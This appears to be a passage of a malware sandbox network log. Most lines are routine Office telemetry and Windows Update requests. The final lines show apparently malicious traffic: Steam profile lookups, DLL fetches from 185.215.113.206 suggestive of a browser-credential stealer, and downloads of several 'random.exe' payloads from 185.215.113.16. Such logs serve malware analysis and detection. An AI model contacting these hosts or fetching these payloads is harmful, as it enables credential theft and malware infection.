Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /clientwebservice/ping HTTP/1.1Connection: Keep-AliveUser-Agent: DNS resiliency checker/1.0Host: fe3cr.delivery.mp.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /sls/ping HTTP/1.1Connection: Keep-AliveUser-Agent: DNS resiliency checker/1.0Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=tXtTyL63pcleZXA&MD=zd2dBTMR HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=tXtTyL63pcleZXA&MD=zd2dBTMR HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Mon, 11 Nov 2024 17:39:31 GMTIf-None-Match: "67324153-1a9e00"
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

